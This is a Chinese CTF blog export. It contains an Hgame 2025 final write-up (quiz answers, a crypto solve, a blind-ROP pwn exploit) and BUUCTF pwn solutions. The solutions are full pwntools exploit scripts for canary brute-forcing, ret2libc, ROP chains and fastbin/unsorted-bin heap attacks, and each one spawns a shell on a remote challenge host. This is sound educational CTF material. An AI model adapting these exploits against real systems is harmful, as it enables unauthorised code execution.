 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


def get_32():
 return u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))


sl("cat")
payload = asm("""
 mov rsi,rdi
 xor rdi,rdi
 mov rdx,0x100
 xor rax,rax
 syscall
 """)
print(payload)
sl(payload)

log.success(VIO_TEXT("read second shellcode"))

payload = b'\xEB\x00'*0x10+asm("""
 mov rsp,0x100000000
 add rsp,0x800
 """)+asm(shellcraft.sh())
sl(payload)

io.interactive()

Hgame2025_final wp

Wed, 19 Mar 2025 11:32:00 +0000

misc

Vidar知识大问答

1.Vidar的创立年份？ D - D.2008

2.Vidar刚创立时的名字？ A - A.HDUISA

3.Hgame的全名？ C C.HCTFGame

4.Vidar现在的队长是谁？ B - A.z211x B. 张博文

去年的第三次新生培训主题是什么？ A - （看群） A.Re & Pwn
以下对vidar描述错误的是？ D - D. 芬里尔的手下败将
以下哪个不是Vidar的成员？B（看官网） B.loging
你身边有喜欢画画的同学，你会推荐ta来vidar做美工吗？A - A. 会
杭电有几栋教学楼（下沙主校区）？B - B.11
关注公众号”安协小天使“发送信息”Hgame FINAL“ C - Hgame{DACBADBABC} 不要爆破平台呦~~
不是，为什么队长名是本名。。

Railway Picture

原图百度搜图后找到

hgame{hangzhou_keyunzhongxin}

crypto

给deepseek的调教参数(realfield需要python中优化，以及素数判定要防止范围不对)：

根据c和hint反向解出flag内容，
将realfiled等sage中的函数进行优化替换，使得可以在python中运行解出答案并且时间不会过长

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87


from decimal import Decimal, getcontext
import random

def is_prime(n, k=5):
 if n <= 1:
 return False
 elif n <= 3:
 return True
 if n % 2 == 0:
 return False
 d = n - 1
 r = 0
 while d % 2 == 0:
 d //= 2
 r += 1
 for _ in range(k):
 a = random.randint(2, min(n - 2, 1 << 20))
 x = pow(a, d, n)
 if x == 1 or x == n - 1:
 continue
 for __ in range(r - 1):
 x = pow(x, 2, n)
 if x == n - 1:
 break
 else:
 return False
 return True

def find_p_q_hint():
 getcontext().prec = 200
 hint_str = '1.9272080389735772625212607491570999634122053'
 hint = Decimal(hint_str)

 cf = []
 x = hint
 for _ in range(50):
 a = int(x)
 cf.append(a)
 remainder = x - a
 if remainder == 0:
 break
 x = Decimal(1) / remainder

 def convergents(cf):
 p_prev, p_curr = 1, cf[0]
 q_prev, q_curr = 0, 1
 yield (p_curr, q_curr)
 for a in cf[1:]:
 p_next = a * p_curr + p_prev
 q_next = a * q_curr + q_prev
 p_prev, p_curr = p_curr, p_next
 q_prev, q_curr = q_curr, q_next
 yield (p_curr, q_curr)

 c = 14476572213458615411518126140467642363521556738843670411747622001212459355051860361245525149102951233473362156251201776147334810593975810704636538003548345425341864228858388705
 for p_candidate, q_candidate in convergents(cf):
 if q_candidate < (1 << 63) or q_candidate >= (1 << 64):
 continue
 if p_candidate < (1 << 63) or p_candidate >= (1 << 64):
 continue
 if p_candidate <= q_candidate:
 continue
 if not is_prime(q_candidate):
 continue
 if not is_prime(p_candidate):
 continue
 ratio = Decimal(p_candidate) / Decimal(q_candidate)
 if abs(ratio - hint) < Decimal('1e-10'):
 a = []
 current = c
 valid = True
 for _ in range(10):
 ai = current % p_candidate
 if ai < 0 or ai > 255:
 valid = False
 break
 a.append(ai)
 current = current // p_candidate
 if not valid or current != 0:
 continue
 a = a[::-1]
 msg = bytes(a)
 if len(msg) == 10:
 print("Found flag: hgame{" + msg.decode() + "}")
 return

find_p_q_hint()

Found flag: hgame{@_ez_task!}

pwn

Backto2016

没有附件只有远程环境，我们需要通过远程环境盲打

在输入56个‘a’（算上一个换行符）即57个字符的时候发生了溢出报错，同时我们知道这个程序开启了canary，用于我们来判断栈溢出长度，缓冲区即56的长度

寻找stop_gadgets

第一个stop_addr，看起来这一次我们在发送之后成功返回到了某个意想不到的地址

在这一个stop_addr后返回了success!!

同时在经过反复调试以后我们找到了exit的stop_add，将其作为stop_gadget，具体原因可以在下文杂谈中得知

寻找common_gadgets

即使有了stop_gadget，原本要导致程序崩溃的地址之后也会崩溃，通用函数libc_csu_init，详情请见CTF github_book ,csu的gadgets允许我们进行6次pop寄存器的指令，我们通过从程序非阻塞地址处（见hints）

遍历去找到可以正确从栈中弹出六次数据的地址
common_gadgets也被我们称为brop_gadgets，但是我们发现根据hint来的话第一个0x400a02就是我你们要想要的gadget——吗？实际上如果我们不去检查会找到一些看似正确的pop地址后面就是dump地址、找libc、最后ret2libc

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("")
#gdb.attach(io)

libc=ELF("./libc.so.6")

def get_offset():
 i=1
 while 1:
 try:
 io=remote("node1.hgame.vidar.club",31958)
 io.recvuntil("password:\n")
 payload=b'a'*i
 io.sendline(payload)
 data=io.recv()
 io.close()
 if not ("Incorrect password") in data.decode():
 return i
 else:
 i+=1

 except EOFError:
 io.close()
 print("success,overflow")
 return i

def get_stop(canary):
 old_addr=0x4007b2
 length = 56
 while True:
 # time.sleep(0.5)
 print(hex(old_addr))
 try:
 io.recvuntil(b"password:\n")
 payload=b'a'*(length)+p64(canary)+b'a'*8+p64(old_addr)
 io.send(payload)
 out_put=io.recvline()
 print(out_put)
 time.sleep(0.2)
 if b"killed" in out_put :
 old_addr+=1
 else:
 print("you find stop gadget!-->",hex(old_addr))
 return old_addr
 except EOFError:
 old_addr+=1
 io.close()
def with_canary(io):
 canary = b'\x00'
 for i in range(7):
 for j in range(256):
 payload = b'a' * 56 + canary + bytes([j])
 io.recvuntil(b"password:\n")
 io.send(payload)
 out_put = io.recvline()
 print(out_put)
 # Check if 'Incorrect password,' is in the output, regardless of other lines
 if b'Incorrect password,' in out_put:
 canary += bytes([j])
 print(f"[+] Found byte {i+1}: 0x{j:02x}")
 break # Continue to the next byte
 else:
 print(f"try again! {i}:{j}")
 print("canary is ", hex(u64(canary)))
 return canary

def common_gadgets_addr(canary,stop_addr):
 old_addr=0x400a80 #通过hints跳过一些阻塞地址
 while True:
 old_addr+=1
 time.sleep(0.2)
 payload=b'a'*56+p64(canary)+p64(old_addr)
 payload+=p64(old_addr) #前面用来一个覆盖了
 payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) #传参
 payload+=p64(stop_addr) #返回到exit退出
 payload+=p64(0) #看以往题解得知这里加零是为了防止程序异常崩溃，就当return 0好了
 try:
 io.send(payload)
 out_put=io.recvuntil(b"password:")
 print(out_put)
 if b"killed" in out_put:
 log.info("bad: 0x%x" % old_addr)
 else:
 log.info("you find possible common gadget!--> 0x%x" % old_addr)
 payload=b'a'*56+p64(canary)+p64(old_addr)
 payload+=p64(old_addr)
 payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
 io.send(payload)
 out_put=io.recvuntil(b"password:")
 if b"killed" in out_put: #这里是因为如果brop的gadgets地址是正确的，程序返回到主程序运行后崩溃
 log.info("true brop gadget:0x%x" % old_addr)
 return old_addr
 except:
 log.info("bad: 0x%x" % old_addr)

def get_puts_plt(canary,stop_gadget,brop_gadget):
 pop_rdi = brop_gadget + 9 # pop rdi; ret; 与pop rbx固定偏移9字节，即pop r15的后两个字节 5f c3
 old_addr=0x400700 #缩小范围,肯定在stop_gadget附近
 while True:
 time.sleep(0.2)
 old_addr+=1
 payload=b'a'*56+p64(canary)+p64(0)
 payload+=p64(pop_rdi)
 payload+=p64(0x400000) #打印出0x400000地址处内容，程序头地址，由于程序头魔数，方便判断
 payload+=p64(old_addr)
 payload+=p64(stop_gadget)
 io.send(payload)
 out_put=io.recvuntil(b"password:")
 #这里是ELF文件的头部魔数，通过是否输出ELF文件头部来判断是否找到plt地址
 if b"\x7fELF" in out_put:
 log.info("puts@plt address: 0x%x" % old_addr-1)
 return old_addr-1
 else:
 log.info("bad: 0x%x" % old_addr)


#dump程序的原理puts函数是通过\x00截断的，并且末尾会加上\x0a换行，我们为了
#防止特殊情况要进行替换，最后读到\x0a的话大概率就是\n
def dump(stop_gadget,canary,brop_gadget,puts_plt,start_addr,end_addr):
 pop_rdi = brop_gadget + 9
 rusult = b""
 while start_addr < end_addr:
 sleep(0.05)
 payload=b'a'*56+p64(canary)+p64(0x12345678)
 payload+=p64(pop_rdi)
 payload+=p64(start_addr)
 payload+=p64(puts_plt)
 payload+=p64(stop_gadget)
 io.send(payload)
 data=io.recvline()
 io.recvuntil(b"password:")
 io.recvline()
 if data == b"\n":
 data=b"\x00"
 elif data[-1] == 0x0A:
 data=data[:-1]
 log.info("leaking: 0x%x --> %s" % (start_addr, data.hex()))
 rusult+=data
 start_addr+=len(data)
 return rusult


#打印出puts地址后去找libc
def get_puts_addr(buf_size, canary, stop_addr, gadgets_addr, puts_plt, puts_got):
 pop_rdi = gadgets_addr + 9
 payload = b"a" * buf_size + p64(canary) + p64(0)
 payload += p64(pop_rdi)
 payload += p64(puts_got)
 payload += p64(puts_plt)
 payload += p64(stop_addr)
 io.send(payload)
 io.recvline()
 data = u64(data[:-1] + b"\x00\x00")
 out_put=io.recvuntil(b"password:")
 puts_addr = u64(data[:-1].ljust(8, b"\x00"))
 log.info("puts address: 0x%x" % puts_addr)
 return puts_addr



#size=get_offset()
#size=56
io=remote("node1.hgame.vidar.club",31968)
new_canary=u64(with_canary(io))

#stop_addr=get_stop(new_canary)
stop_gadget=0x4007c0

#brop_gadget=common_gadgets_addr(new_canary,stop_gadget)
brop_gadget=0x400b2a

#puts_plt=get_puts_plt(new_canary,stop_gadget,brop_gadget)
puts_plt=0x400715

"""
code_bin_file=dump(stop_gadget,new_canary,brop_gadget,puts_plt,0x400000,0x410000) #还可以从0x600000左右dump data段
with open("code.bin","wb") as f:
 f.write(code_bin_file)
 f.close()
"""
puts_got=0x602018

puts_addr=get_puts_addr(56,new_canary,stop_gadget,brop_gadget,puts_plt,puts_got)

puts_offset=libc.symbols["puts"]
libc_base=puts_addr-puts_offset
log.success("libc_base:"+hex(libc_base))
system_addr=libc_base+libc.symbols["system"]
binsh_addr=libc_base+0x180543 #/bin/sh

payload=b'a'*56+p64(new_canary)+p64(0)
payload+=p64(brop_gadget+9)
payload+=p64(binsh_addr)
payload+=p64(system_addr)
payload+=p64(stop_gadget)
io.sendline(payload)

io.interactive()
#print("offset is ",size)

hgame{N3ver_w1ll_I_pl4y_blind_aga1n_QAQ}

杂谈

虽然Brop似乎在这样看下来以后就是各种公式化的blind attack，但是实际上在比赛的时候我并未完整做出来

stop_addr

比赛的时候在试stop_addr的时候出了很多问题，浪费了大量时间
stop_gadget到底是个什么呢，我们在brop提出的论文章可以一窥程序运行结构，一个能让程序继续挂起的，类似死循环或者阻塞的代码片段就是stop_addr
也就是说，stop应该是一个plt表上的函数，在2016HCTF的brop题目中我们也可以知道这一点。
那么显然，stop_gadget不止一个，而如何精心选择一个stop_gadget显然是很重要的，因为如果选择一个不好的阻塞的函数可能会影响我们继续爆破和利用函数，尤其在一个更大更复杂的实际情况中，stop_gadget最好就是一个不会使得程序崩溃的返回地址，这里就选择了exit的地址作为这个stop_gadget

欸👆有人可能要问了，为什么我们不回到main函数呢？
仔细思考之后，虽然main作为程序入口函数，在程序中唯一，而且一般情况下子函数绝不会去调用main函数，但是main函数执行前会初始化一些如__libc_csu_init的函数，所以main并不能作为一个很好的stop。因为它会拦截一次对子进程的正常结束，我们需要子进程结束的回显来进行交互，所以我们不能选其作为stop_gadget

buuctf第二页（收录部分）

Sun, 09 Mar 2025 14:39:00 +0000

非堆题

mrctf2020_shellcode

ret2shellcode。但是附件看不了反汇编，要求直接读汇编代码

栈溢出不行直接发shellcode（好无聊的题）

bjdctf_2020_babyrop2

main中有gift和vuln函数

gift函数可输入6个字节

gdb开调，canary再rbp-0x8处，栈上则使第七个参数(8字节算)，填充完buf到canary

泄露出来刚好第六个位置为aa 覆盖完ret2libc

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./1")
elf=ELF('./1')
libc=ELF('./libc-2.23.so')
io=remote("node5.buuoj.cn",27172)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

ret=0x4005f9
pop_rdi=0x400993

ru("u!\n") #这里直接recv()竟然会出错
sl('%7$p')

canary=int(rc(18),16)
log.success('canary:'+hex(canary))
io.recv()

payload=cyclic(24)+p64(canary)+cyclic(8)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['vuln'])
sl(payload)

text=io.recv()
puts_addr=u64(text.ljust(8,b'\x00'))

libc_base=puts_addr-libc.sym['puts']
system_addr=libc_base+libc.sym['system']
binsh_addr=libc_base+next(libc.search(b'/bin/sh\x00'))

payload=cyclic(24)+p64(canary)+cyclic(8)+p64(ret)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
sl(payload)
io.interactive()

inndy_rop——ropchain的利用与静态编译

静态编译

如图，程序在IDA打开后，左侧函数栏并没有红色部分（也就是系统调用函数！）所以一般这种静态编译的文件大小也会比一般pwn题大，既然没有调用库函数的话，那我们也没办法拿来ret2libc，用ropchain来构造rop链call system('/bin/sh')

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


from pwn import *
from struct import pack
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
io=remote("node5.buuoj.cn",28945)
p = b'a'*(12+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

io.sendline(p)
io.interactive()

事实上由于题目的输入限制都是有限的，所以ropchain无法使用，不过如果我们对ropchian简单的修改缩减或许就会有很大的帮助

cmcc_simplerop

也是一道静态编译题，但是空间不够大。需要简化ropchain或者直接系统调用，当然你迁移过去再搞ropchain也没问题(

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


from pwn import *
from struct import pack
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
io=remote("node5.buuoj.cn",25288)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))


pop_eax=0x080bae06
pop_edx_ecx_ebx=0x0806e850
int_80=0x080493e1
bss_buf=0x080EAF85
payload=flat([
 b'a'*0x20,
 p32(elf.sym['read']),
 p32(pop_edx_ecx_ebx),
 p32(0),
 p32(bss_buf),
 p32(0x200),
 p32(pop_eax),
 p32(0xb), #调用execve
 p32(pop_edx_ecx_ebx),
 p32(0)*2+p32(bss_buf),
 p32(int_80)])
io.recv()
sl(payload)
sl(b"/bin/sh\x00")
io.interactive()

pwnable_orw

保护

沙箱(secure computing)，orw可用

长这样，先prctl禁止提权（prctl宏定义可在prctl.h中看），然后限制orw，手写orw或用shellcraft的集成功能

堆题部分

babyheap_0ctf_2017 ♥

保护全开

菜单题

新增堆块, 可以自定义大小，不超过4096，申请成功将该区域置标记为1，v3根据v2大小获得一个指针，指向分配的堆空间

fill部分，用户根据需要提供修改的堆块的index和修改的size——但是size可以任意构造 free就是free，将使用位置标记改为0并申请空间释放，指针也指为0 dump函数会根据堆块index索引显示堆块内容，可以考虑泄露堆空间上内容

解题

patchelf

由于本地glibc版本过高，所以我们在做题之前要同步一下环境，不然fastbins会根据新glibc改为tcachebins

1
2


patchelf --add-needed ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6 ./pwn
patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-linux-x86-64.so.2 ./pwn

思路

unsortedbin在一个chunk被free后归入其中时，其表头会指向这个被free的chunk，chunk的fd指向之前被free的chunk，如果没有就会指回表头，
而我们这题我们要用到__malloc_hook，这东西在我们调用malloc创建新的堆块的时候便会调用
如果我们能够操控这个hook，通过call调用它的地址的时候，如果其中是system地址，就可以getshell 这题的环境是ubuntu16，__malloc_hook的函数地址偏移是固定的，我们通过main_arena、unsortedbin计算偏移最后就能得到，main_arena的确定得用到fastbin attack，

简单来说，free chunk通过单链表进行维护，如果在free后没有将指针置零的话，那么arena的bin头的fd指针会指向申请的chunk上的fd，如果我们可以操控这个指针指向的地址，那么chunk的fd指针就会指向目标地址！只要我们再次申请这个chunk块，bin头指针自然就指向这个目标地址了！

1
2
3
4
5


allocate(0x80) #0
allocate(0x80) #1
allocate(0x80) #2
allocate(0x80) #3
free(1)

这样构造堆结构以后，呈现为fastbin->chunk1的结构

1
2


payload=cyclic(0x80+8)+p64(0x80+0x10+0x80+0x10+1)
fill(0,payload)

覆写chunk0 0x8覆写chunk1 prev_size
allocate(0x80+0x10+0x80)申请堆块，并且刚好到chunk2

然后我们改写chunk2的size，使得一部分可以进入到unsorted bin中（虽然这样会导致一部分溢出到chunk3中，但是问题不大）然后free(2)就可以获得指向main_arena的指针信息，通过dump(1)打印

之后打fastbin attack，通过改写malloc_hook指针指向one_gadget即可

exp

点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92


from pwn import *
context(log_level='debug',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
#elf=ELF("./pwn")
libc=ELF("libc-2.23.so")
io=remote("node5.buuoj.cn",29971)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def allocate(size):
 sla("Command:",'1')
 sla("Size: ",str(size))

def fill(index,content):
 sla("Command:",'2')
 sla("Index: ",str(index))
 sla("Size: ",str(len(content)))
 sla('Content: ', content)

def free(index):
 sla("Command:",'3')
 sla("Index: ",str(index))

def dump(index):
 sla("Command:",'4')
 sla("Index: ",str(index))
 ru('Content: ')


##########################
# unsorted bin attack #
##########################

allocate(0x80) #0
allocate(0x80) #1
allocate(0x80) #2
allocate(0x80) #4
free(1)

payload=b'a'*(0x80+8)+p64(0x80+0x10+0x80+0x10+1) #填充堆块并构建大堆块 0x8覆盖prev_size，并且+1表示上一个堆块正使用
fill(0,payload)
allocate(0x80+0x10+0x80) #申请堆块，1处释放堆块根据大小提供

payload=b'a'*(0x80+8)+p64((0x80+0x10+1)) #准备构建unsorted bin
fill(1,payload)
free(2) #free后由于上面塞入的0x80+0x10+1，free 的chunk2进入unsorted bin,又因为设置为1，fd/bk会指向固定的main_arena偏移处
dump(1)

rc(0x90+8) #content data部分
fd_addr=u64(rc(8))
log.success("fd_addr:"+hex(fd_addr))
main_arena_addr=fd_addr-0x58
malloc_hook_addr=main_arena_addr-0x10

libc_base=malloc_hook_addr-libc.sym['__malloc_hook']

allocate(0x80)
allocate(0x60)
allocate(0x60)

free(5)

#这一块我们正常覆写chunk4和chunk5的prev_size，
#然后改写fd指针指向到malloc_hook附近后，由于堆管理器的错误判断，我们幸运的可以获得这一个假的chunk，将bk指针修改为0后我们就可以合理地去通过分配这一块触发我们的one_gadget了
payload=b'a' * (0x60 + 8) + p64(0x70 + 1) + p64(malloc_hook_addr - 0x23) + p64(0)
fill(4, payload)
allocate(0x60)
allocate(0x60)

#pause()
execve_bin_sh_addr = libc_base + 0x4526a

payload=b'a'*0x13+p64(execve_bin_sh_addr)

fill(6,payload)

allocate(0x10)

io.interactive()

[ZJCTF 2019]EasyHeap

保护

菜单题

create heap

heaparray[i]存放chunk地址
read_input(heaparray+i,size)写入chunk大小
跳转查看后heap_array在bss段上

edit_heap() 读v0大小到指定chunk中，但是v0比create大就溢出了
delete中free时会将指针置0，所以不存在UFA，

后门，或许修改掉magic就可执行 PIE没开，heaparray_addr = 0x6020E0

详解

先申请到3个chunk

1
2
3


add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2

heap2我们要将它送进fastbins，并修改指针到heaparray_addr的地址，下次申请时先申请到heap2，再到存放堆数组指针的地方申请作为伪装堆

非常好，-0x33初刚好找到我们需要的大小来构造0x7f的chunk，然后通过溢出去修改heaparray[0]

1
2
3
4
5
6


add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2
free(2) #释放到fastbins后打fastbin attack
payload=b'/bin/sh\x00'+cyclic(0x60)+p64(0x71)+p64(0x6020ad) #由于物理上相邻，所以我们填充完一整个chunk1时prevsize，然后写入fd
edit(1,len(payload),payload) #f写入/bin/sh+填充+fake chunk地址和大小

接下来我们要把heaparray[0]修改为free_got，利用unlink将free_got修改到system去，then——free(1)，由于free_got修改到system，直接执行system('/bin/sh')！

exp

点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
io=remote("node5.buuoj.cn",25734)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def add(size,content):
 sla("Your choice :",'1')
 sla("Size of Heap : ",str(size))
 sla("Content of heap:",content)

def edit(idx,size,content):
 sla("Your choice :",'2')
 sla("Index :",str(idx))
 sla("Size of Heap : ",str(size))
 sla("Content of heap : ",content)

def free(idx):
 sla("Your choice :",'3')
 sla("Index :",str(idx))

add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2
free(2) #释放到fastbins后打fastbin attack
payload=b'/bin/sh\x00'+cyclic(0x60)+p64(0x71)+p64(0x6020ad)
edit(1,len(payload),payload) #f写入/bin/sh+填充+fake chunk地址和大小

add(0x60,'aaaa') #重新申请回chunk2
add(0x60,'aaaa') #chunk2->fake chunk
payload=cyclic(0x23)+p64(elf.got['free'])
edit(3,len(payload),payload) #写入freegot

payload3=p64(elf.plt['system'])
edit(0,len(payload3),payload3) #将freegot修改到system
free(1)


io.interactive()

hitcontraining_uaf

uaf，main：

free后没有清除指针，可以uaf

添加chunk，最多5个，notelist[i]是malloc分配的堆，第一个chunk默认分配(每次都有一个），用来存放puts函数（print用的），之后的可以控制，而且有magic提供后门函数，notelist[i][1]是利用malloc分配的我们的堆，之后可以读入
欸但是由于free只是把内容放空, 所以我们即使free掉了前面的chunk，i继续增加，指针仍指向原来的chunk

大概是这样，分配两个fastbin大小堆块，free后malloc一个8Bytes的chunk，它会直接写入到chunk0的puts中，由于chunk2的sub_chunk指了回去，最后修改到chunk0的指针到magic
我们再次申请的时候由于sub_chunk的原因，

申请完大小以后传入magic地址，fd=0x867f000这里会修改为print note的地址，我们之后打印堆块就会自动触发magic

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
io=remote("node5.buuoj.cn",26225)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def add(size,content):
 sla("choice :","1")
 sla("Note size :",str(size))
 sla("Content :",content)

def delete(idx):
 sla("choice :","2")
 sla("Index :",str(idx))

def printf(idx):
 sla("choice :","3")
 sla("Index :",str(idx))

magic=elf.sym['magic']
add(48,'bbbb') #0+1
add(48,'cccc') #2+3
delete(0)
delete(1)
add(8,p32(magic))
printf(0)

io.interactive()

heap学习

Mon, 03 Mar 2025 16:26:00 +0000

堆介绍

